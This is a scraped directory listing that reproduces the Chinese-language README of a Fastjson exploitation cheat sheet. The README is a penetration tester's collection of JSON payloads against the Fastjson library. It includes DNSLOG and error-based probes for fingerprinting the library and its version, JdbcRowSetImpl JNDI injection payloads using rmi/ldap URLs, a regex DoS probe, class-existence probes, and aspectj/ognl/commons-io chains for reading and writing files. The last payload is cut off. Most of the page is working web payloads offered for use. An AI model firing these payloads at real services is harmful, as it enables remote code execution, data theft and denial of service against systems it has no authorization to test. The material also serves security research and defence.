SkillAgentSearch skills...

Fastjson

Fastjson姿势技巧集合

Install / Use

/learn @safe6Sec/Fastjson
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

Fastjson

Fastjson姿势技巧集合

说明

  • 本项目涉及的一些姿势和payload是从之前的随手记的笔记直接粘进来的,很多找不到出处了所以来源未贴出来,望师傅们见谅。
  • 高版本的很多细节还有待更新。
  • 浅蓝Kcon议题内容由@su18师傅整理
  • 各版本复现payload来自@kezibei师傅,我原项目基础上加了maven依赖,做了一点代码修改。

各版本payload复现

https://github.com/safe6Sec/ShiroAndFastJson

判断是否用了fastjson

鉴别fastjson

DNSLOG

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}} 
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

根据解析变化

{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}

根据响应状态

{"@type":"whatever"}

鉴别org.json

特殊字符

{a:'\r'}

鉴别gson

浮点类型精度丢失

{a:1.111111111111111111111111111}

注释符

#\r\n{a:1}

鉴别jackson

浮点类型精度丢失

{a:1.111111111111111111111111111}

注释符

{a:1}/*#aaaa

不支持单引号作为界定符

{'a':'b'}

多余的类成员

{"name":"a","age":18}

如果目标回显详细报错信息,稍微破坏一下json结构,比如多一个{,比如简简单单把{}变成a。就可以看出来到底是不是jackson。

如果目标不回显详细报错信息,而是只有一个500或者error,那么jackson不允许存在不相关的键值,fastjson允许这个特性就可以派上用场了。

比如原json如下。

{"pageNumber":1,"pageSize":1}

加上一个不相关的键值

{"pageNumber":1,"pageSize":1,"test":1}

jackson就会报错,fastjson则不会,而是和之前一模一样。

版本探测

无报错信息探测

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80

{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83

{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}

【不报错】1.2.24 【报错】1.2.25-1.2.83

{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

延迟探测

原理同ssrf漏洞。请求本机已开放端口不延时,请求不开放的端口则延时。
fastjson 1.1.15-1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

通用payload,可用于parseObject的场景

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}

fastjson 1.2.9-1.2.47

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:808/badNameClass",
        "autoCommit":true
    }
}

通用payload,可用于parseObject的场景

{"@type":"com.alibaba.fastjson.JSONObject",{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:8088/badNameClass",
        "autoCommit":true
    }
}}""}

Fastjson 1.2.36 - 1.2.62
利用正则dos洞,进行探测。逐步加a,直到延迟为止

{
    "regex":{
        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
    },
    "blue":"aaaaaaaaaaaa!"
}

参考https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA

异常回显

异常回显 fastjson 精确版本号

{
  "@type": "java.lang.AutoCloseable"

dns探测

主要是利用各个类被加入黑名单的方式进行判断,但此方法准确性不高。

原理重点关注MiscCodec处理时会去nwe URL,然后通过后面的map#put触发计算key的hash。学习urldns链容易理解。

fastjson <1.2.43

{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

fastjson <1.2.48

{"@type":"java.net.InetAddress","val":"dnslog"}

fastjson <1.2.68

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0

精确探索autoType是否开启,开启后能打更多payload https://github.com/pen4uin/awesome-java-security/tree/main/alibaba%20fastjson

[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]

关键rce版本探测

1.2.24 版本,用上面的延时探测即可

1.2.47 版本

[
  {
    "@type": "java.lang.Class",
    "val": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dnslog"
  }
}
]

1.2.68版本

[
  {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dnslog"
  }
}
]

1.2.80 版本探测 如果收到了两个 dns 请求,则证明使用了 1.2.83 版本 如果收到了一个 dns 请求,则证明使用了 1.2.80 版本

[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "first.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "second.dnslog.cn"
  }
}
}
]

探测环境

  • org.springframework.web.bind.annotation.RequestMapping
  • org.apache.catalina.startup.Tomcat
  • groovy.lang.GroovyShell
  • com.mysql.jdbc.Driver
  • java.net.http.HttpClient

如果系统存在这个类,会返回一个类实例,如果不存在会返回 null

{
  "z": {
    "@type": "java.lang.Class",
    "val": "org.springframework.web.bind.annotation.RequestMapping"
  }
}
{
  "z": {
    "@type": "java.lang.Class",
    "val": "java.net.http.HttpClient"
  }
}

通过使用 Character 将报错回显在 message 中

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.jdbc.Driver"
}}

通过使用 DNSLOG 来探测依赖库

{"@type":"java.net.Inet4Address",
   "val":{"@type":"java.lang.String"
{"@type":"java.util.Locale",
   "val":{"@type":"com.alibaba.fastjson.JSONObject",{
   "@type": "java.lang.String""@type":"java.util.Locale",
   "language":{"@type":"java.lang.String"
{1:{"@type":"java.lang.Class","val":"groovy.lang.GroovyShell"}},
"country":"gv.su18.dnslog.pw"
}}
}

文件写,结合 commons-io 代码(stream 里面写 68 的 payload)

{"x":[{"@type":"java.lang.Exception","@type":"ognl.OgnlException",},{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}},{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":
    }
}}]}

aspectj + ognl 任意文件读取 + DNSLOG 回显 打入白名单

[{
   "@type":"java.lang.Exception",
   "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
   {
      "@type":"java.lang.Class",
      "val":{
         "@type":"java.lang.String"{
      "@type":"java.util.Locale",
      "val":{
         "@type":"com.alibaba.fastjson.JSONObject",{
      "@type":"java.lang.String"
      "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
      "newAnnotationProcessorUnits":[{}]
   }
}
},
   {
      "x":{
         "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
         "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
         "fileName":"aaa"
      }
   }]

aspectj + ognl 文件读取加 DNSLOG 回显

{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}

commons-io + ognl + URLReader 单字节文件读取(回显情况观察数值)

{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}},"su16":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":
{
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "file:///Users/su18/Downloads/1.txt"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}},"su17" : {"$ref":"$.su16.node.p.stream"},"su18":{
"$ref":"$.su17.bOM.bytes"}}

commons-io + ognl + URLReader 单字节文件读取(报错布尔)

[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}}},
{"su17":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":
{
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "file:///Users/su18/Downloads/1.txt"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{
"$ref":"$[3].su18.bOM.bytes"}},{"su20":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",    

Related Skills

View on GitHub
GitHub Stars1.8k
CategoryDevelopment
Updated4d ago
Forks359

Security Score

75/100

Audited on Mar 26, 2026

No findings